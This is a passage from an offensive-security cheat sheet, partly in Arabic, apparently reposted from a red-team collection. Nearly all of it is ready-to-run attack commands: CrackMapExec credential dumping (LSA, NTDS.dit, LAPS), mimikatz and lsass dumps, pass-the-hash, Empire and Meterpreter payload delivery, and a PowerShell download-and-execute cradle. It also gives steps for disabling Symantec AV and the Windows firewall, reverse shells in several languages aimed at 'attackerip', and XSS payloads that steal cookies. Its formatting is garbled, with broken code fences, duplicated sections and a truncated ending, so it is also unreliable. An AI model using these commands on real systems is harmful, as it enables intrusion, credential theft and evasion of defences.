  • بشكل افتراضي، يعمل النص البرمجي فقط على المضيفين الذين يشغلون خدمة واحدة على الأقل تم تحديدها عبر فحص NMAP. لكي يعمل، يحتاج النص البرمجي إلى استخراج عنوان IP من ملف XML وأيضًا توسيع الهدف ليشمل أي مضيف أو منفذ. بالنسبة لفحوص اكتشاف المضيف (-sL أو -sn)، سيحاول النص البرمجي إجراء فحص كامل للمنافذ على أهم منافذ TCP للمضيفين النشطين.
  • لا يتعامل النص البرمجي مع الفحوص التي أجريت ضد أسماء النطاقات (أسماء المضيفين).```bash crackmapexec ldap -u users.txt -p --no-bruteforce --continue-on-success
root@kitploit:~
### STATUS_NOT_SUPPORTED: بروتوكول NTLM غير مدعوم
في هذه الحالة يمكننا استخدام الخيار `-k` الذي سيستخدم بروتوكول Kerberos للمصادقة.```bash
crackmapexec smb targets.txt -u <username> -p <password> -k

قائمة المشاركات```bash

crackmapexec smb targets.txt -u -p -k --shares

root@kitploit:~
### وحدة Spider_plus
تتيح لك الوحدة `spider_plus` سرد وتفريغ جميع الملفات من جميع المشاركات القابلة للقراءة
#### سرد جميع الملفات القابلة للقراءة```bash
crackmapexec smb <domain> -u <username> -p <password> -k -M spider_plus

تفريغ جميع الملفات```bash

crackmapexec smb -u -p -M spider_plus -o READ_ONLY=false

root@kitploit:~
#### تفريغ ملف معين```bash
crackmapexec smb <domain> -u <username> -p <password> -k --get-file <target_file> <output_file> --share <sharename>

MSSQL

اختبار المصادقة```bash

crackmapexec mssql targets.txt -u -p

root@kitploit:~
#### تنفيذ الأوامر باستخدام `xp_cmdshell`
- `-X` لـ powershell و `-x` لـ cmd```bash
crackmapexec mssql <domain> -u <username> -p <password> -X <command_to_execute>

الحصول على ملف```bash

crackmapexec mssql -u -p --get-file <output_file> <target_file>

root@kitploit:~
### مصادقة المسؤول المحلي```bash
crackmapexec smb <domain> -u <username> -p <password> --local-auth

تفريغ أسرار LSA```bash

crackmapexec smb -u -p --local-auth --lsa

root@kitploit:~
### استعادة اسم حساب gmsa
- https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent
لدينا احتمالان لاستعادة اسم حساب gmsa:
- استخدام الخيار `--gmsa-convert-id`:```bash
crackmapexec ldap <domain> -u <username> -p <password> --gmsa-convert-id <id>
  • فك تشفير حساب gmsa في lsa باستخدام --gmsa-decrypt-lsa:```bash crackmapexec ldap -u -p --gmsa-decrypt-lsa <gmsa_account>
root@kitploit:~
### تفريغ كلمة مرور LAPS```bash
crackmapexec smb targets.txt -u <username> -p <password> --laps

تفريغ بيانات اعتماد dpapi```bash

crackmapexec smb targets.txt -u -p --laps --dpapi

root@kitploit:~
### تفريغ NTDS.dit```bash
crackmapexec smb <domain> -u <username> -p <password> --ntds

المراجع

  • https://github.com/mpgn/CrackMapExec
  • https://wiki.porchetta.industries/smb-protocol/scan-for-vulnerabilities

Crackmapexec إلى وكيل Empire

أولاً، قم بإعداد مستمع Empire:``` (Empire: listeners) > set Name test (Empire: listeners) > set Host 192.168.10.3 (Empire: listeners) > set Port 9090 (Empire: listeners) > set CertPath data/empire.pem (Empire: listeners) > run (Empire: listeners) > list

[*] Active listeners:

ID Name Host Type Delay/Jitter KillDate Redirect Target


1 test http://192.168.10.3:9090 native 5/0.0

(Empire: listeners) >

root@kitploit:~
شغّل خادم API RESTful الخاص بـ Empire:```
#~ python empire --rest --user empireadmin --pass Password123!

[*] Loading modules from: /home/byt3bl33d3r/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)

يتم تخزين اسم المستخدم وكلمة المرور اللذان يستخدمهما CME للمصادقة على RESTful API الخاصة بـ Empire في ملف cme.conf الموجود في المسار ~/.cme/cme.conf:``` [Empire] api_host=127.0.0.1 api_port=1337 username=empireadmin password=Password123!

[Metasploit] rpc_host=127.0.0.1 rpc_port=55552 password=abc123

root@kitploit:~
ثم قم بتشغيل وحدة empire_exec وحدد اسم المستمع:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M empire_exec -o LISTENER=test

Crackmapexec إلى Meterpreter

يمكننا استخدام وحدة metinject لحقن meterpreter مباشرة في الذاكرة باستخدام سكريبت PowerSploit's Invoke-Shellcode.ps1.

أولاً قم بإعداد المعالج الخاص بك:``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_https payload => windows/meterpreter/reverse_https msf exploit(handler) > set LHOST 192.168.10.3 LHOST => 192.168.10.3 msf exploit(handler) > set exitonsession false exitonsession => false msf exploit(handler) > exploit -j [*] Exploit running as background job.

[] Started HTTPS reverse handler on https://192.168.10.3:8443 msf exploit(handler) > [] Starting the payload handler...

root@kitploit:~
ثم قم بتشغيل وحدة metinject وحدد قيمتي LHOST و LPORT:```
#~ crackmapexec 192.168.10.0/24 -u username -p password -M metinject -o LHOST=192.168.1

نقل الصدفة من Empire إلى Meterpreter metasploit

metasploit listner خيارات``` msf > use exploit/multi/handler msf exploit(handler) > set payload windows/meterpreter/reverse_http payload => windows/meterpreter/reverse_http msf exploit(handler) > set lhost 192.168.1.110 lhost => 192.168.1.110 msf exploit(handler) > set lport 2286 lport => 2286 msf exploit(handler) > set ExitOnSession false ExitOnSession => false msf exploit(handler) > set SessionCommunicationTimeout 0 SessionCommunicationTimeout => 0 msf exploit(handler) > exploit -j

root@kitploit:~
إعداد Empire لإرسال الوكيل إلى Metasploit```
use module code_execution/shellcode_inject
set Host <ip>
set Port <port>
execute

DeathStar```

Start the Empire console and RESTful API

python empire --rest --username empireadmin --password Password123

root@kitploit:~
ثم قم بجلب وإعداد وتشغيل DeathStar:```
git clone https://github.com/byt3bl33d3r/DeathStar
# Death Star is written in Python3
pip3 install -r requirements.txt
./DeathStar.py

أوامر cmd.exe في ويندوز

إضافة مستخدم```

net user /add [username] [password]

root@kitploit:~
## إضافة مستخدم كمسؤول```
net localgroup administrators [username] /add

إضافة مستخدم إلى مجموعة RDP```

NET LOCALGROUP "Remote Desktop Users" keyoke /ADD

root@kitploit:~
# PTH_winexe : فتح شل بدون psexec
مثال :<br>```
pth-winexe -U DOMAIN/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //IP_Server cmd.exe

مثال حقيقي :
``` pth-winexe -U LAB/Administrator%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //192.168.1.44 cmd.exe

root@kitploit:~
# PTH-winexe إلى Meterpreter```
msf exploit(web_delivery) > use exploit/multi/script/web_delivery 
msf exploit(web_delivery) > set target 2
target => 2         
msf exploit(web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(web_delivery) > set L
set LHOST         set LISTENERCOMM  set LOGLEVEL      set LPORT         
msf exploit(web_delivery) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(web_delivery) > set LPORT 1233
LPORT => 1233
msf exploit(web_delivery) > exploit 
[*] Exploit running as background job 0.

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:1233 
[*] Using URL: http://0.0.0.0:8080/gOAr7kQOTh
msf exploit(web_delivery) > [*] Local IP: http://10.2.15.194:8080/gOAr7kQOTh
[*] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -c $j=new-object net.webclient;$j.proxy=[Net.WebRequest]::GetSystemWebProxy();$j.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $j.downloadstring('http://127.0.0.1:8080/gOAr7kQOTh');

انسخ أمر PowerShell إلى cmd المفتوح باستخدام pth_winexe

الدليل النشط```

current domain info

domain trusts

(System.DirectoryServices.ActiveDirectory.Domain::GetCurrentDomain()).GetAllTrustRelationships()

current forest info

get forest trust relationships

(System.DirectoryServices.ActiveDirectory.Forest::GetForest((New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', 'forest-of-interest.local')))).GetAllTrustRelationships()

get DCs of a domain

nltest /dclist:offense.local net group "domain controllers" /domain

get DC for currently authenticated session

nltest /dsgetdc:offense.local

get domain trusts from cmd shell

nltest /domain_trusts

get user info

nltest /user:"spotless"

get DC for currently authenticated session

set l

get domain name and DC the user authenticated to

klist

get all logon sessions. Includes NTLM authenticated sessions

klist sessions

kerberos tickets for the session

klist

cached krbtgt

klist tgt

whoami on older Windows systems

set u

root@kitploit:~
## BloodHound```
powershell-import /path/to/BloodHound.ps1
powershell Get-BloodHoundData | Export-BloodHoundCSV

Symantec AV Bypass```

During our latest pentest, we faced shitty AV problem since we couldn't get any meterpreter session with psexec cuz of Symatec AV, So we would like to share our solution for this problem: First We Need to connect with the local admin as system using pth (local hash extracted with bkhive and samdump2)

$./pth-winexe -U DOMAIN.COM/USERNAME%cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb //10.0.42.154 cmd --system

Then let's Stop the AV Service

cd "C:\Program Files\Symantec\Symantec Endpoint Protection" smc.exe -stop

Nice now we got rid of the AV, however our payload and IP was still blocked since they use an IPS so we used a reverse_https listener and psexec_psh to bypass it: mohamed@KeyStrOke:~$ msfconsole use exploit/windows/smb/psexec_psh set payload windows/meterpreter/reverse_https set StageEncoder x86/shikata_ga_nai set EnableStageEncoding true set SMBUSER USERNAME set SMBPASS cc5e9acbad1b25c9aad3b435b51404ee:996e6760cddd8815a2c24a110cf040fb set lhost IP set lport 443 exploit -j and BOOM :D Server username: NT AUTHORITY\SYSTEM Enjoy your Session

root@kitploit:~
# Kiwi جمع بيانات الاعتماد```
meterpreter > load kiwi
meterpreter > cred_all

الشبكة

فحص الثغرات الكامل للويب باستخدام Nmap```

cd /usr/share/nmap/scripts/ wget http://www.computec.ch/projekte/vulscan/download/nmap_nse_vulscan-2.0.tar.gz && tar xzf nmap_nse_vulscan-2.0.tar.gz nmap -sS -sV --script=vulscan/vulscan.nse target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv target nmap -sS -sV --script=vulscan/vulscan.nse –script-args vulscandb=scipvuldb.csv -p80 target nmap -PN -sS -sV --script=vulscan –script-args vulscancorrelation=1 -p80 target nmap -sV --script=vuln target nmap -PN -sS -sV --script=all –script-args vulscancorrelation=1 target

root@kitploit:~
### Dirb Dir Bruteforce```
dirb http://IP:PORT /usr/share/dirb/wordlists/common.txt

ماسح خادم الويب Nikto```

nikto -C all -h http://IP

root@kitploit:~
### ماسح WordPress```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

بصمة HTTP```

wget http://www.net-square.com/_assets/httprint_linux_301.zip && unzip httprint_linux_301.zip cd httprint_301/linux/ ./httprint -h http://IP -s signatures.txt

root@kitploit:~
### ماسح ووردبريس```
git clone https://github.com/wpscanteam/wpscan.git && cd wpscan
./wpscan –url http://IP/ –enumerate p

SKIP Fish Scanner```

skipfish -m 5 -LY -S /usr/share/skipfish/dictionaries/complete.wl -o ./skipfish2 -u http://IP

root@kitploit:~
### Nmap مسح المنافذ```
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
1)decoy- masqurade nmap -D RND:10 [target] (Generates a random number of decoys)
2)fargement
3)data packed – like orginal one not scan packet
4)use auxiliary/scanner/ip/ipidseq for find zombie ip in network to use them to scan — nmap -sI ip target
5)nmap –source-port 53 target
nmap -sS -sV -D IP1,IP2,IP3,IP4,IP5 -f –mtu=24 –data-length=1337 -T2 target ( Randomize scan form diff IP)
nmap -Pn -T2 -sV –randomize-hosts IP1,IP2
nmap –script smb-check-vulns.nse -p445 target (using NSE scripts)
nmap -sU -P0 -T Aggressive -p123 target (Aggresive Scan T1-T5)
nmap -sA -PN -sN target
nmap -sS -sV -T5 -F -A -O target (version detection)
nmap -sU -v target (Udp)
nmap -sU -P0 (Udp)
nmap -sC 192.168.31.10-12 (all scan default)

NC المسح```

nc -v -w 1 target -z 1-1000 for i in {101..102}; do nc -vv -n -w 1 192.168.56.$i 21-25 -z; done

root@kitploit:~
### Unicornscan```
us -H -msf -Iv 192.168.56.101 -p 1-65535
us -H -mU -Iv 192.168.56.101 -p 1-65535

-H resolve hostnames during the reporting phase
-m scan mode (sf - tcp, U - udp)
-Iv - verbose

بصمة نظام التشغيل Xprobe2```

xprobe2 -v -p tcp:80:open IP

root@kitploit:~
### استكشاف Samba```
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target

تعداد SNMP```

snmpget -v 1 -c public IP snmpwalk -v 1 -c public IP snmpbulkwalk -v2c -c public -Cn0 -Cr10 IP

root@kitploit:~
### Windows أوامر مفيدة```
net localgroup Users
net localgroup Administrators
search dir/s *.doc
system("start cmd.exe /k $cmd")
sc create microsoft_update binpath="cmd /K start c:\nc.exe -d ip-of-hacker port -e cmd.exe" start= auto error= ignore
/c C:\nc.exe -e c:\windows\system32\cmd.exe -vv 23.92.17.103 7779
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
C:\temp\procdump.exe -accepteula -ma lsass.exe lsass.dmp For 32 bits
C:\temp\procdump.exe -accepteula -64 -ma lsass.exe lsass.dmp For 64 bits

PuTTY Link tunnel```

Forward remote port to local address cmd.exe /c echo y | .\plink.exe -P 22 -l -pw "password" -R PORT_TO_FORWARD:127.0.0.1:ATTACKER_PORT 2>&1

root@kitploit:~
### Meterpreter portfwd```
# https://www.offensive-security.com/metasploit-unleashed/portfwd/
# forward remote port to local address
meterpreter > portfwd add –l 3389 –p 3389 –r 172.16.194.141
kali > rdesktop 127.0.0.1:3389

تمكين الوصول عبر RDP```

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable

root@kitploit:~
### إيقاف تشغيل Windows Firewall```
netsh firewall set opmode disable

Meterpreter VNC\RDP```

git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full

root@kitploit:~
### Mimikatz استخدام```
net user test 1234 /add
net localgroup administrators test /add

تمرير الهاش```

git clone https://github.com/byt3bl33d3r/pth-toolkit pth-winexe -U hash //IP cmd

or

apt-get install freerdp-x11 xfreerdp /u:offsec /d:win2012 /pth:HASH /v:IP

or

meterpreter > run post/windows/gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit/windows/smb/psexec msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit meterpreter > shell

root@kitploit:~
### تكسير كلمات المرور باستخدام Hashcat```
hashcat -m 400 -a 0 hash /root/rockyou.txt

Netcat أمثلة```

c:> nc -l -p 31337 #nc 192.168.0.10 31337 c:> nc -v -w 30 -p 31337 -l < secret.txt #nc -v -w 2 192.168.0.10 31337 > secret.txt

root@kitploit:~
### التقاط الشعار باستخدام NC```
nc 192.168.0.10 80
GET / HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/4.0
Referrer: www.example.com
<enter>
<enter>

شل عكسية لويندوز```

c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80

nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

root@kitploit:~
### البحث عن ملفات SUID\SGID الجذر```
# Find SUID root files
find / -user root -perm -4000 -print

# Find SGID root files:
find / -group root -perm -2000 -print

# Find SUID and SGID files owned by anyone:
find / -perm -4000 -o -perm -2000 -print

# Find files that are not owned by any user:
find / -nouser -print

# Find files that are not owned by any group:
find / -nogroup -print

# Find symlinks and what they point to:
find / -type l -ls

شل بايثون```

python -c 'import pty;pty.spawn("/bin/bash")'

root@kitploit:~
### Python\Ruby\PHP خادم HTTP```
python2 -m SimpleHTTPServer
python3 -m http.server
ruby -rwebrick -e "WEBrick::HTTPServer.new(:Port => 8888, :DocumentRoot => Dir.pwd).start"
php -S 0.0.0.0:8888

الحصول على PIDs للعملية```

fuser -nv tcp 80 fuser -k -n tcp 80

root@kitploit:~
### Hydra rdp القوة العمياء```
hydra -l admin -P /root/Desktop/passwords -S X.X.X.X rdp

تثبيت مشاركة Windows عن بُعد```

smbmount //X.X.X.X/c$ /mnt/remote/ -o username=user,password=pass,rw

root@kitploit:~
### تجميع الاستغلال في Kali```
gcc -m32 -o output32 hello.c (32 bit)
gcc -m64 -o output hello.c (64 bit)

تجميع ثغرات ويندوز على كالي```

c:>nc -Lp 31337 -vv -e cmd.exe nc 192.168.0.10 31337 c:>nc example.com 80 -e cmd.exe nc -lp 80

nc -lp 31337 -e /bin/bash nc 192.168.0.10 31337 nc -vv -r(random) -w(wait) 1 192.168.0.10 -z(i/o error) 1-1000

root@kitploit:~
### شِل عكسي لويندوز```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe

أوامر NASM```

nasm -f bin -o payload.bin payload.asm nasm -f elf payload.asm; ld -o payload payload.o; objdump -d payload

root@kitploit:~
### SSH Pivoting```
ssh -D 127.0.0.1:1080 -p 22 user@IP
Add socks4 127.0.0.1 1080 in /etc/proxychains.conf
proxychains commands target

SSH التنقل من شبكة إلى أخرى```

ssh -D 127.0.0.1:1080 -p 22 user1@IP1 Add socks4 127.0.0.1 1080 in /etc/proxychains.conf proxychains ssh -D 127.0.0.1:1081 -p 22 user1@IP2 Add socks4 127.0.0.1 1081 in /etc/proxychains.conf proxychains commands target

root@kitploit:~
### Pivoting باستخدام metasploit```
route add X.X.X.X 255.255.255.0 1
use auxiliary/server/socks4a
run
proxychains msfcli windows/* PAYLOAD=windows/meterpreter/reverse_tcp LHOST=IP LPORT=443 RHOST=IP E

or

# https://www.offensive-security.com/metasploit-unleashed/pivoting/
meterpreter > ipconfig
IP Address  : 10.1.13.3
meterpreter > run autoroute -s 10.1.13.0/24
meterpreter > run autoroute -p
10.1.13.0          255.255.255.0      Session 1
meterpreter > Ctrl+Z
msf auxiliary(tcp) > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 10.1.13.2
msf exploit(psexec) > exploit
meterpreter > ipconfig
IP Address  : 10.1.13.2

بحث Exploit-DB باستخدام ملف CSV```

git clone https://github.com/offensive-security/exploit-database.git cd exploit-database ./searchsploit –u ./searchsploit apache 2.2 ./searchsploit "Linux Kernel"

cat files.csv | grep -i linux | grep -i kernel | grep -i local | grep -v dos | uniq | grep 2.6 | egrep "<|<=" | sort -k3

root@kitploit:~
### MSF Payloads```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> X > system.exe
msfvenom -p php/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 R > exploit.php
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e -a x86 --platform win -f asp -o file.asp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP Address> LPORT=443 -e x86/shikata_ga_nai -b "\x00" -a x86 --platform win -f c

MSF Linux Reverse Meterpreter ثنائي```

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=443 -e -f elf -a x86 --platform linux -o shell

root@kitploit:~
### MSF Reverse Shell (C Shellcode)```
msfvenom -p windows/shell_reverse_tcp LHOST=127.0.0.1 LPORT=443 -b "\x00\x0a\x0d" -a x86 --platform win -f c

MSF سكريبت Python للشل العكسي```

msfvenom -p cmd/unix/reverse_python LHOST=127.0.0.1 LPORT=443 -o shell.py

root@kitploit:~
### MSF Reverse ASP Shell```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -a x86 --platform win -o shell.asp

MSF قشرة Bash عكسية```

msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -o shell.sh

root@kitploit:~
### MSF Reverse PHP Shell```
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -o shell.php
add <?php at the beginning
perl -i~ -0777pe's/^/<?php \n/' shell.php

MSF Reverse Win Bin```

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -a x86 --platform win -o shell.exe

root@kitploit:~
### أوامر أمن لينكس```
# find programs with a set uid bit
find / -uid 0 -perm -4000

# find things that are world writable
find / -perm -o=w

# find names with dots and spaces, there shouldn’t be any
find / -name " " -print
find / -name ".." -print
find / -name ". " -print
find / -name " " -print

# find files that are not owned by anyone
find / -nouser

# look for files that are unlinked
lsof +L1

# get information about procceses with open ports
lsof -i

# look for weird things in arp
arp -a

# look at all accounts including AD
getent passwd

# look at all groups and membership including AD
getent group

# list crontabs for all users including AD
for user in $(getent passwd|cut -f1 -d:); do echo "### Crontabs for $user ####"; crontab -u $user -l; done

# generate random passwords
cat /dev/urandom| tr -dc ‘a-zA-Z0-9-_!@#$%^&*()_+{}|:<>?=’|fold -w 12| head -n 4

# find all immutable files, there should not be any
find . | xargs -I file lsattr -a file 2>/dev/null | grep ‘^….i’

# fix immutable files
chattr -i file

أوامر استغلال تجاوز السعة المؤقتة لويندوز```

msfvenom -p windows/shell_bind_tcp -a x86 --platform win -b "\x00" -f c msfvenom -p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=443 -a x86 --platform win -e x86/shikata_ga_nai -b "\x00" -f c

COMMONLY USED BAD CHARACTERS: \x00\x0a\x0d\x20 For http request \x00\x0a\x0d\x20\x1a\x2c\x2e\3a\x5c Ending with (0\n\r_)

Useful Commands:

pattern create pattern offset (EIP Address) pattern offset (ESP Address) add garbage upto EIP value and add (JMP ESP address) in EIP . (ESP = shellcode )

!pvefindaddr pattern_create 5000 !pvefindaddr suggest !pvefindaddr modules !pvefindaddr nosafeseh

!mona config -set workingfolder C:\Mona%p !mona config -get workingfolder !mona mod !mona bytearray -b "\x00\x0a" !mona pc 5000 !mona po EIP !mona suggest

root@kitploit:~
### SEH - معالجة الاستثناءات المنظمة```
# https://en.wikipedia.org/wiki/Microsoft-specific_exception_handling_mechanisms#SEH
!mona suggest
!mona nosafeseh
nseh="\xeb\x06\x90\x90" (next seh chain)
iseh= !pvefindaddr p1 -n -o -i (POP POP RETRUN or POPr32,POPr32,RETN)

ROP (DEP)```

https://en.wikipedia.org/wiki/Return-oriented_programming

https://en.wikipedia.org/wiki/Data_Execution_Prevention

!mona modules !mona ropfunc -m *.dll -cpb "\x00\x09\x0a" !mona rop -m *.dll -cpb "\x00\x09\x0a" (auto suggest)

root@kitploit:~
### ASLR - عشوائية تخطيط مساحة العنوان```
# https://en.wikipedia.org/wiki/Address_space_layout_randomization
!mona noaslr

تقنيات EGG Hunter```

https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

http://www.fuzzysecurity.com/tutorials/expDev/4.html

!mona jmp -r esp !mona egg -t lxxl \xeb\xc4 (jump backward -60) buff=lxxllxxl+shell !mona egg -t 'w00t'

root@kitploit:~
### أوامر مصحح أخطاء GDB```
# Setting Breakpoint
break *_start

# Execute Next Instruction
next
step
n
s

# Continue Execution
continue
c

# Data
checking 'REGISTERS' and 'MEMORY'

# Display Register Values: (Decimal,Binary,Hex)
print /d –> Decimal
print /t –> Binary
print /x –> Hex
O/P :
(gdb) print /d $eax
$17 = 13
(gdb) print /t $eax
$18 = 1101
(gdb) print /x $eax
$19 = 0xd
(gdb)

# Display values of specific memory locations
command : x/nyz (Examine)
n –> Number of fields to display ==>
y –> Format for output ==> c (character) , d (decimal) , x (Hexadecimal)
z –> Size of field to be displayed ==> b (byte) , h (halfword), w (word 32 Bit)

BASH الصدفة العكسية```

bash -i >& /dev/tcp/X.X.X.X/443 0>&1

exec /bin/bash 0&0 2>&0 exec /bin/bash 0&0 2>&0

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

exec 5<>/dev/tcp/attackerip/4444 cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done exec 5<>/dev/tcp/attackerip/4444

cat <&5 | while read line; do $line 2>&5 >&5; done # or: while read line 0<&5; do $line 2>&5 >&5; done

/bin/bash -i > /dev/tcp/attackerip/8080 0<&1 2>&1 /bin/bash -i > /dev/tcp/X.X.X.X/443 0<&1 2>&1

root@kitploit:~
### PERL شل عكسي```
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:443");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

# for win platform
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’

RUBY شل عكسي```

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

for win platform

ruby -rsocket -e 'c=TCPSocket.new("attackerip","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'f=TCPSocket.open("attackerip","443").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

root@kitploit:~
### PYTHON Reverse Shell```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attackerip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

شل عكسي PHP```

php -r '$sock=fsockopen("attackerip",443);exec("/bin/sh -i <&3 >&3 2>&3");'

root@kitploit:~
### JAVA شل عكسية```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/attackerip/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

NETCAT شل عكسي```

nc -e /bin/sh attackerip 4444 nc -e /bin/sh 192.168.37.10 443

If the -e option is disabled, try this

mknod backpipe p && nc attackerip 443 0<backpipe | /bin/bash 1>backpipe

/bin/sh | nc attackerip 443 rm -f /tmp/p; mknod /tmp/p p && nc attackerip 4443 0/tmp/

If you have the wrong version of netcat installed, try

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip >/tmp/f

root@kitploit:~
### TELNET الصدفة العكسية```
# If netcat is not available or /dev/tcp
mknod backpipe p && telnet attackerip 443 0<backpipe | /bin/bash 1>backpipe

XTERM Reverse Shell```

Start an open X Server on your system (:1 – which listens on TCP port 6001)

apt-get install xnest Xnest :1

Then remember to authorise on your system the target IP to connect to you

xterm -display 127.0.0.1:1

Run this INSIDE the spawned xterm on the open X Server

xhost +targetip

Then on the target connect back to the your X Server

xterm -display attackerip:1 /usr/openwin/bin/xterm -display attackerip:1 or $ DISPLAY=attackerip:0 xterm

root@kitploit:~
### أكواد الغش XSS```
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
("< iframes > src=http://IP:PORT </ iframes >")

<script>document.location=http://IP:PORT</script>

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//–></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

";!–"<XSS>=&amp;amp;{()}

<IMG src="javascript:alert("XSS');">

<SCRIPT>alert("XSS")</SCRIPT>"">



<IMG src="https://raw.githubusercontent.com/ihebski/a-red-teamer-diaries/HEAD/jav%20ascript:alert("XSS');">

perl -e 'print "";' > out

<BODY onload!#$%&amp;()*~+-_.,:;?@[/|\]^`=alert("XSS")>

(">< iframes http://google.com < iframes >)

<BODY BACKGROUND="javascript:alert('XSS')">
<FRAMESET><FRAME SRC=”javascript:alert('XSS');"></FRAMESET>
"><script >alert(document.cookie)</script>
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
%22/%3E%3CBODY%20onload=’document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E

SSH عبر SCTP (مع Socat)```

on remote server

assuming you want the SCTP socket to listen on port 80/SCTP and sshd is on 22/TCP

$ socat SCTP-LISTEN:80,fork TCP:localhost:22

localhost

replace SERVER_IP with IP of listening server, and 80 with whatever port the SCTP listener is on :)

$ socat TCP-LISTEN:1337,fork SCTP:SERVER_IP:80

create socks proxy

replace username and -p port value as needed...

$ ssh -lusername localhost -D 8080 -p 1337

root@kitploit:~
### تثبيت Metasploit Community Edition في Kali 2.0```
# github urls
https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run && chmod
